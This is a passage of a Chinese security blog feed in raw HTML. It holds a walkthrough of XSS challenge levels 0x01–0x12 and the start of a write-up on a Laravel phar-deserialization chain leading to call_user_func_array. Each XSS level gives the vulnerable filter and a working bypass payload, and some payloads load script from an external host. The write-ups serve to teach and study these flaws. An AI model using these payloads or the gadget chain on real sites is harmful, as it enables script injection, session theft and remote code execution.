<span class="title">render</span> (<span class="params">input</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="string">'&lt;input type="name" value="'</span> + input + <span class="string">'"&gt;'</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>输入点在input标签的value属性中，然而依旧没有过滤，只要逃逸双引号再插其他标签就好。<code>1&quot;&gt;&lt;svg/onload=alert(1)&gt;//</code></p><h2 id="0x03"><a href="#0x03" class="headerlink" title="0x03"></a>0x03</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">render</span> (<span class="params">input</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">const</span> stripBracketsRe = <span class="regexp">/[()]/g</span></span><br><span class="line">  input = input.replace(stripBracketsRe, <span class="string">''</span>)</span><br><span class="line">  <span class="keyword">return</span> input</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>过滤了<code>()</code>，直接换成反引号就可以了。</p><h2 id="0x04"><a href="#0x04" class="headerlink" title="0x04"></a>0x04</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">render</span> (<span class="params">input</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">const</span> stripBracketsRe = <span class="regexp">/[()`]/g</span></span><br><span class="line">  input = input.replace(stripBracketsRe, <span class="string">''</span>)</span><br><span class="line">  <span class="keyword">return</span> input</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>反引号也GG，只好编码了这里用js编码。<code>&lt;img src=1 onerror=&#39;&amp;#x0061;&amp;#x006c;&amp;#x0065;&amp;#x0072;&amp;#x0074;&amp;#x0028;&amp;#x0031;&amp;#x0029;&#39;&gt;</code></p><h2 id="0x05"><a href="#0x05" class="headerlink" title="0x05"></a>0x05</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">render</span> (<span class="params">input</span>) </span>&#123;</span><br><span class="line">  input = input.replace(<span class="regexp">/--&gt;/g</span>, <span class="string">'😂'</span>)</span><br><span class="line">  <span class="keyword">return</span> <span class="string">'&lt;!-- '</span> + input + <span class="string">' --&gt;'</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>一开始一头雾水，搞了编码无法解析，有查注释网上又没有…… 看了其他人的writeup之后，结果果然是多样性的注释。</p><p>这里在html里面的注释中有两种除了一般的<code>&lt;!-- --&gt;</code> 还有对称的写法<code>&lt;!-- --!&gt;</code> ，所以这里没过滤对称写法，所以就用这种就可以逃逸过滤插标签。<code>--!&gt;&lt;img src=1 onerror=alert(1)&gt;</code></p><h2 id="0x06"><a href="#0x06" class="headerlink" title="0x06"></a>0x06</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">render</span> (<span class="params">input</span>) </span>&#123;</span><br><span class="line">  input = input.replace(<span class="regexp">/auto|on.*=|&gt;/ig</span>, <span class="string">'_'</span>)</span><br><span class="line">  <span class="keyword">return</span> <span class="string">`&lt;input value=1 <span class="subst">$&#123;input&#125;</span> type="text"&gt;`</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>好吧，尝试了很久，想到了这种出现在标签内部的输入点，有两种思路，一个是在标签内部的属性和事件来触发js；一个是闭合现在的标签去插入新的攻击向量。想了老久不知道怎么破……看了writeup得知是利用换行，这里就有一个小细节了，这里的正则是<code>on.*=</code>这意味着<code>on</code>和<code>=</code>是以一个整体去判断的，这种以整体形式去做判断的逻辑可以用一些拆分技巧了绕过。所以正确的payload为<code>onmousemove换行=alert(1)</code>。</p><p>这里试了很久都没找到非交互的操作，最后还是只有交互操作触发xss。</p><h2 id="0x07"><a href="#0x07" class="headerlink" title="0x07"></a>0x07</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">render</span> (<span class="params">input</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">const</span> stripTagsRe = <span class="regexp">/&lt;\/?[^&gt;]+&gt;/gi</span></span><br><span class="line"></span><br><span class="line">  input = input.replace(stripTagsRe, <span class="string">''</span>)</span><br><span class="line">  <span class="keyword">return</span> <span class="string">`&lt;article&gt;<span class="subst">$&#123;input&#125;</span>&lt;/article&gt;`</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>知识点：利用浏览器的自动补全特性绕过……又是一个老知识点就是没想到这个点，想到了要在<code>&lt;&gt;</code>上做文章，没想到自动补全。。。记个笔记当标签不完整的时候<code>&lt;img src=1 onerror=alert(1)</code> ，像这样浏览器会自动把末尾的<code>&gt;</code>用其他的标签补充上。实际自动补充如下图：</p><img src="/2019/01/27/haozi-xss-challenges/1.png"><p>而我们的输入拼接上实际上是这样的<code>&lt;article&gt;&lt;img src=1 onerror=alert(1) &lt;/article&gt;</code></p><p>可以看到原来的<code>&lt;/article&gt;</code>成了img标签中的一部分，随后浏览器又在后面补充了一个<code>&lt;/article&gt;</code>。</p><h2 id="0x08"><a href="#0x08" class="headerlink" title="0x08"></a>0x08</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">render</span> (<span class="params">src</span>) </span>&#123;</span><br><span class="line">  src = src.replace(<span class="regexp">/&lt;\/style&gt;/ig</span>, <span class="string">'/* \u574F\u4EBA */'</span>)</span><br><span class="line">  <span class="keyword">return</span> <span class="string">`</span></span><br><span class="line"><span class="string">    &lt;style&gt;</span></span><br><span class="line"><span class="string">      <span class="subst">$&#123;src&#125;</span></span></span><br><span class="line"><span class="string">    &lt;/style&gt;</span></span><br><span class="line"><span class="string">  `</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>重点依旧是正则过滤的问题，这里的过滤规则写的太死，所以可以在中间加入空格或者换行来绕过。</p><p><code>&lt;/style &gt;&lt;img src=1 onerror=alert(1)&gt;</code>或者<code>&lt;/style换行&gt;&lt;img src=1 onerror=alert(1)&gt;</code></p><h2 id="0x09"><a href="#0x09" class="headerlink" title="0x09"></a>0x09</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">render</span> (<span class="params">input</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">let</span> domainRe = <span class="regexp">/^https?:\/\/www\.segmentfault\.com/</span></span><br><span class="line">  <span class="keyword">if</span> (domainRe.test(input)) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="string">`&lt;script src="<span class="subst">$&#123;input&#125;</span>"&gt;&lt;/script&gt;`</span></span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="string">'Invalid URL'</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>虽然限制了必须要在<code>www.segmentfault.com</code>这个域下，但是也没过滤其他危险字符，那我们直接闭合前面的script然后在后面构造自己的恶意脚本就行。<code>https://www.segmentfault.com&quot;&gt;&lt;/script&gt;&lt;script src=&quot;https://xss.haozi.me/j.js</code></p><p>上面是利用双引号字符去结合构造的payload，也可以直接注释掉。<code>https://www.segmentfault.com&quot;&gt;&lt;/script&gt;&lt;svg/onload=alert(1)&gt;//</code></p><h2 id="0x0A"><a href="#0x0A" class="headerlink" title="0x0A"></a>0x0A</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">render</span> (<span class="params">input</span>) </span>&#123;</span><br><span class="line">  <span class="function"><span class="keyword">function</span> <span class="title">escapeHtml</span>(<span class="params">s</span>) </span>&#123;</span><br><span class="line">    <span class="keyword">return</span> s.replace(<span class="regexp">/&amp;/g</span>, <span class="string">'&amp;amp;'</span>)</span><br><span class="line">            .replace(<span class="regexp">/'/g</span>, <span class="string">'&amp;#39;'</span>)</span><br><span class="line">            .replace(<span class="regexp">/"/g</span>, <span class="string">'&amp;quot;'</span>)</span><br><span class="line">            .replace(<span class="regexp">/&lt;/g</span>, <span class="string">'&amp;lt;'</span>)</span><br><span class="line">            .replace(<span class="regexp">/&gt;/g</span>, <span class="string">'&amp;gt;'</span>)</span><br><span class="line">            .replace(<span class="regexp">/\//g</span>, <span class="string">'&amp;#x2f'</span>)</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">const</span> domainRe = <span class="regexp">/^https?:\/\/www\.segmentfault\.com/</span></span><br><span class="line">  <span class="keyword">if</span> (domainRe.test(input)) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="string">`&lt;script src="<span class="subst">$&#123;escapeHtml(input)&#125;</span>"&gt;&lt;/script&gt;`</span></span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="string">'Invalid URL'</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这道题是上道题目的加强版，把多余的特殊字符都转义成html实体了，这样就没有办法突破src这个字符串，突破口只能在src这里。观察发现没有过滤<code>@</code>和<code>#</code>想到应该是要用到url相关的trick。把orange的ppt翻出来复习，试了<code>@</code>和<code>#@</code>都不行。。。一脸懵逼</p><p>最后去看了其他人的writeup，答案是<code>https://www.segmentfault.com@xss.haozi.me/j.js</code></p><p>利用<code>@</code>的子资源请求功能去请求恶意的js，然而我是用chrome来做题的，之前半天没反应，在控制台看了看，发现chrome禁用了子资源请求。太尴尬了……</p><img src="/2019/01/27/haozi-xss-challenges/2.png"><img src="/2019/01/27/haozi-xss-challenges/3.png"><p>最后在火狐测试成功，chrome的安全性真是高。</p><h2 id="0x0B"><a href="#0x0B" class="headerlink" title="0x0B"></a>0x0B</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">render</span> (<span class="params">input</span>) </span>&#123;</span><br><span class="line">  input = input.toUpperCase()</span><br><span class="line">  <span class="keyword">return</span> <span class="string">`&lt;h1&gt;<span class="subst">$&#123;input&#125;</span>&lt;/h1&gt;`</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这道题是把输入全部转成大写字母，这样的话<code>alert</code>就没有办法执行。但是我们有编码啊，并且大小写对标签和属性事件是一样的，所以只要把<code>alert(1)</code>的部分换成js编码就ok了。</p><p><code>&lt;img src=1 onerror=&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#49;&amp;#41;&amp;#10;&gt;</code></p><h2 id="0x0C"><a href="#0x0C" class="headerlink" title="0x0C"></a>0x0C</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">render</span> (<span class="params">input</span>) </span>&#123;</span><br><span class="line">  input = input.replace(<span class="regexp">/script/ig</span>, <span class="string">''</span>)</span><br><span class="line">  input = input.toUpperCase()</span><br><span class="line">  <span class="keyword">return</span> <span class="string">'&lt;h1&gt;'</span> + input + <span class="string">'&lt;/h1&gt;'</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>emmm，这个题目有点水啊……就是多过滤了一个script，那不用script就好了，方法多的用不过来而且上一次payload同样有效。<code>&lt;img src=1 onerror=&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#49;&amp;#41;&amp;#10;&gt;</code></p><h2 id="0x0D"><a href="#0x0D" class="headerlink" title="0x0D"></a>0x0D</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">render</span> (<span class="params">input</span>) </span>&#123;</span><br><span class="line">  input = input.replace(<span class="regexp">/[&lt;/"']/g</span>, <span class="string">''</span>)</span><br><span class="line">  <span class="keyword">return</span> <span class="string">`</span></span><br><span class="line"><span class="string">    &lt;script&gt;</span></span><br><span class="line"><span class="string">          // alert('<span class="subst">$&#123;input&#125;</span>')</span></span><br><span class="line"><span class="string">    &lt;/script&gt;</span></span><br><span class="line"><span class="string">  `</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这种输入点出现在js的单行注释区域，可以用换行绕过单行注释。剩下的一步思考了很多，由于过滤了<code>&lt;/&quot;&#39;</code>，不能闭合末尾的<code>&#39;)</code>，也不能用普通的注释<code>//</code>，<code>/*</code>，<code>&lt;!--</code>。看了看writeup，结果是用<code>--&gt;</code>，我有点傻眼了，什么鬼……</p><p>测试了一会儿，得出结论：<code>--&gt;</code>有和<code>//</code>一样的效果，同样是单行注释。这个真的是涨姿势了，以前只知道用上面的三种，结果现在又来一种。</p><p>payload：<code>换行alert(1)换行--&gt;</code></p><h2 id="0x0E"><a href="#0x0E" class="headerlink" title="0x0E"></a>0x0E</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">render</span> (<span class="params">input</span>) </span>&#123;</span><br><span class="line">  input = input.replace(<span class="regexp">/&lt;([a-zA-Z])/g</span>, <span class="string">'&lt;_$1'</span>)</span><br><span class="line">  input = input.toUpperCase()</span><br><span class="line">  <span class="keyword">return</span> <span class="string">'&lt;h1&gt;'</span> + input + <span class="string">'&lt;/h1&gt;'</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>同样想了老久，看了其他人的思路恍然大悟……这里由于把所有的标签前面都加了下划线，基本上正常使用的标签都GG。然而这里要用到之前的一个知识点，那就是出现在这种有大小写转换的地方，有些特殊字符在转换的时候也会变成正常的英文大写字母。参考：<a href="https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html" target="_blank" rel="noopener">https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html</a></p><p>能利用的是i和s，这里用特殊字符绕过正则，然后通过大写函数转换成正常字母达到目的。<code>&lt;ımg src=1 onerror=&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#49;&amp;#41;&amp;#10;&gt;</code>或者<code>&lt;ſcript src=https://xss.haozi.me/j.js&gt;&lt;/script&gt;</code></p><h2 id="0x0F"><a href="#0x0F" class="headerlink" title="0x0F"></a>0x0F</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">render</span> (<span class="params">input</span>) </span>&#123;</span><br><span class="line">  <span class="function"><span class="keyword">function</span> <span class="title">escapeHtml</span>(<span class="params">s</span>) </span>&#123;</span><br><span class="line">    <span class="keyword">return</span> s.replace(<span class="regexp">/&amp;/g</span>, <span class="string">'&amp;amp;'</span>)</span><br><span class="line">            .replace(<span class="regexp">/'/g</span>, <span class="string">'&amp;#39;'</span>)</span><br><span class="line">            .replace(<span class="regexp">/"/g</span>, <span class="string">'&amp;quot;'</span>)</span><br><span class="line">            .replace(<span class="regexp">/&lt;/g</span>, <span class="string">'&amp;lt;'</span>)</span><br><span class="line">            .replace(<span class="regexp">/&gt;/g</span>, <span class="string">'&amp;gt;'</span>)</span><br><span class="line">            .replace(<span class="regexp">/\//g</span>, <span class="string">'&amp;#x2f;'</span>)</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="string">`&lt;img src onerror="console.error('<span class="subst">$&#123;escapeHtml(input)&#125;</span>')"&gt;`</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里的编码除了实体编码是强行变成字符串，其他的<code>&amp;#</code>类编码都是可以用的，典型的纸老虎过滤。所以这里从单引号逃逸出来，插入alert，过滤后面的无用部分。</p><p><code>&#39;);alert(1);//</code></p><h2 id="0x10"><a href="#0x10" class="headerlink" title="0x10"></a>0x10</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">render</span> (<span class="params">input</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="string">`</span></span><br><span class="line"><span class="string">&lt;script&gt;</span></span><br><span class="line"><span class="string">  window.data = <span class="subst">$&#123;input&#125;</span></span></span><br><span class="line"><span class="string">&lt;/script&gt;</span></span><br><span class="line"><span class="string">  `</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这道题有点莫名其妙。。。随手输入了一个<code>alert(1)</code>就成功了。。。都不知道发生了什么。</p><p>看了其他人的答案都是闭合语句，然后插入的<code>alert(1)</code>。<code>1;alert(1);</code></p><p>查了一下window的属性列表，没有data属性，所以这里直接输入<code>alert(1)</code>就会触发弹窗。</p><h2 id="0x11"><a href="#0x11" class="headerlink" title="0x11"></a>0x11</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// from alf.nu</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">render</span> (<span class="params">s</span>) </span>&#123;</span><br><span class="line">  <span class="function"><span class="keyword">function</span> <span class="title">escapeJs</span> (<span class="params">s</span>) </span>&#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">String</span>(s)</span><br><span class="line">            .replace(<span class="regexp">/\\/g</span>, <span class="string">'\\\\'</span>)</span><br><span class="line">            .replace(<span class="regexp">/'/g</span>, <span class="string">'\\\''</span>)</span><br><span class="line">            .replace(<span class="regexp">/"/g</span>, <span class="string">'\\"'</span>)</span><br><span class="line">            .replace(<span class="regexp">/`/g</span>, <span class="string">'\\`'</span>)</span><br><span class="line">            .replace(<span class="regexp">/&lt;/g</span>, <span class="string">'\\74'</span>)</span><br><span class="line">            .replace(<span class="regexp">/&gt;/g</span>, <span class="string">'\\76'</span>)</span><br><span class="line">            .replace(<span class="regexp">/\//g</span>, <span class="string">'\\/'</span>)</span><br><span class="line">            .replace(<span class="regexp">/\n/g</span>, <span class="string">'\\n'</span>)</span><br><span class="line">            .replace(<span class="regexp">/\r/g</span>, <span class="string">'\\r'</span>)</span><br><span class="line">            .replace(<span class="regexp">/\t/g</span>, <span class="string">'\\t'</span>)</span><br><span class="line">            .replace(<span class="regexp">/\f/g</span>, <span class="string">'\\f'</span>)</span><br><span class="line">            .replace(<span class="regexp">/\v/g</span>, <span class="string">'\\v'</span>)</span><br><span class="line">            <span class="comment">// .replace(/\b/g, '\\b')</span></span><br><span class="line">            .replace(<span class="regexp">/\0/g</span>, <span class="string">'\\0'</span>)</span><br><span class="line">  &#125;</span><br><span class="line">  s = escapeJs(s)</span><br><span class="line">  <span class="keyword">return</span> <span class="string">`</span></span><br><span class="line"><span class="string">&lt;script&gt;</span></span><br><span class="line"><span class="string">  var url = 'javascript:console.log("<span class="subst">$&#123;s&#125;</span>")'</span></span><br><span class="line"><span class="string">  var a = document.createElement('a')</span></span><br><span class="line"><span class="string">  a.href = url</span></span><br><span class="line"><span class="string">  document.body.appendChild(a)</span></span><br><span class="line"><span class="string">  a.click()</span></span><br><span class="line"><span class="string">&lt;/script&gt;</span></span><br><span class="line"><span class="string">`</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>又是一个纸老虎过滤，在js的字符串中代入反斜线会被解释成转义符，但是由于原本整体就是字符串所以转义符转义过后还是字符串，等于没有意义，所以直接闭合前面的<code>console.log</code>插入js语句。</p><p><code>&#39;console.log(&quot;\&quot;)\/\/&#39;</code> 像这样的字符串实际上为<code>&#39;console.log(&quot;&quot;)//&#39;</code>。可以看到反斜线在字符串中没有任何作用。</p><p>最后payload：<code>&quot;);alert(&quot;1</code>或者<code>&quot;);alert(1)//</code></p><h2 id="0x12"><a href="#0x12" class="headerlink" title="0x12"></a>0x12</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// from alf.nu</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">escape</span> (<span class="params">s</span>) </span>&#123;</span><br><span class="line">  s = s.replace(<span class="regexp">/"/g</span>, <span class="string">'\\"'</span>)</span><br><span class="line">  <span class="keyword">return</span> <span class="string">'&lt;script&gt;console.log("'</span> + s + <span class="string">'");&lt;/script&gt;'</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>和上一题类似的题目，只是没有了多余的字符串中转，现在的反斜线就有效果了，然而没有过滤反斜线，所以这里可以用反斜线转义过滤用的那个反斜线，这样就造成字符串逃逸，随意插入语句即可。</p><p><code>\&quot;);alert(1)//</code></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;0x00&quot;&gt;&lt;a href=&quot;#0x00&quot; class=&quot;headerlink&quot; title=&quot;0x00&quot;&gt;&lt;/a&gt;0x00&lt;/h2&gt;&lt;figure class=&quot;highlight js&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;
      
    
    </summary>
    
      <category term="技术" scheme="https://hurricane618.me/categories/%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="XSS" scheme="https://hurricane618.me/tags/XSS/"/>
    
  </entry>
  
  <entry>
    <title>code-breaking lumenserial 复现</title>
    <link href="https://hurricane618.me/2019/01/24/code-breaking-lumenserial/"/>
    <id>https://hurricane618.me/2019/01/24/code-breaking-lumenserial/</id>
    <published>2019-01-24T00:54:06.000Z</published>
    <updated>2019-01-24T01:29:32.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="题目分析"><a href="#题目分析" class="headerlink" title="题目分析"></a>题目分析</h2><p>php的laravel框架的审计题目。这里记录一下复现过程。整体思路是venenof7师傅的。</p><p>先来看入口，不知道他们怎么就找到了这个请求……</p><p><code>/server/editor?action=Catchimage&amp;source[]=phar:///var/www/html/upload/image/</code></p><p>我在黑盒测试的时候只找到了action，完全没有source的影子，个人感觉是结合白盒测试出来的。这里对应的源代码如下：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">protected</span> <span class="function"><span class="keyword">function</span> <span class="title">doCatchimage</span><span class="params">(Request $request)</span></span>&#123;</span><br><span class="line">$sources = $request-&gt;input(<span class="keyword">$this</span>-&gt;config[<span class="string">'catcherFieldName'</span>]);</span><br><span class="line">$rets = [];</span><br><span class="line"><span class="keyword">if</span> ($sources) &#123;</span><br><span class="line"><span class="keyword">foreach</span> ($sources <span class="keyword">as</span> $url) &#123;</span><br><span class="line">$rets[] = <span class="keyword">$this</span>-&gt;download($url);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> response()-&gt;json([</span><br><span class="line"><span class="string">'state'</span> =&gt; <span class="string">'SUCCESS'</span>,</span><br><span class="line"><span class="string">'list'</span> =&gt; $rets</span><br><span class="line">]);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">$maxSize = <span class="keyword">$this</span>-&gt;config[<span class="string">'catcherMaxSize'</span>];</span><br><span class="line">        $limitExtension = array_map(<span class="function"><span class="keyword">function</span> <span class="params">($ext)</span> </span>&#123;</span><br><span class="line">            <span class="keyword">return</span> ltrim($ext, <span class="string">'.'</span>);</span><br><span class="line">        &#125;, <span class="keyword">$this</span>-&gt;config[<span class="string">'catcherAllowFiles'</span>]);</span><br><span class="line">        $allowTypes = array_map(<span class="function"><span class="keyword">function</span> <span class="params">($ext)</span> </span>&#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="string">"image/&#123;$ext&#125;"</span>;</span><br><span class="line">        &#125;, $limitExtension);</span><br><span class="line"></span><br><span class="line">        $content = file_get_contents($url);  url为图片路径</span><br><span class="line">        $img = getimagesizefromstring($content);</span><br><span class="line">省略下面的不重要代码……</span><br></pre></td></tr></table></figure><p>这里可以看到使用了<code>file_get_contents</code>进行文件操作，同样是使用blackhat议题上的phar在文件操作时会执行反序列化操作。这里只需要寻找有<code>__destruct</code>和<code>__wakeup</code>的类。</p><p>这里全局搜索<code>__destruct</code>，可以找到一个<code>class PendingBroadcast</code>，其他的都不太能使用，要不是destruct里面没东西，就是destruct里面执行方法的对象不可控。而这个唯一一个执行方法的对象可控的，可以将执行方法的对象换成没有该方法的对象，这样就会调用<code>__call</code>方法。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span><span class="params">()</span></span>&#123;</span><br><span class="line"><span class="keyword">$this</span>-&gt;events-&gt;dispatch(<span class="keyword">$this</span>-&gt;event);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>搜索<code>__call</code>得到<code>Generator</code>这个类中有这个方法，并且其中的<code>__call</code>能调用<code>format</code>而这个又会调用<code>call_user_func_array</code>，这里就可以执行代码了。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">format</span><span class="params">($formatter, $arguments = array<span class="params">()</span>)</span></span>&#123;</span><br><span class="line"><span class="keyword">return</span> call_user_func_array(<span class="keyword">$this</span>-&gt;getFormatter($formatter), $arguments);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__call</span><span class="params">($method, $attributes)</span></span>&#123;</span><br><span class="line"><span class="keyword">return</span> <span class="keyword">$this</span>-&gt;format($method, $attributes);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">getFormatter</span><span class="params">($formatter)</span></span>&#123;</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="keyword">$this</span>-&gt;formatters[$formatter])) &#123;</span><br><span class="line"><span class="keyword">return</span> <span 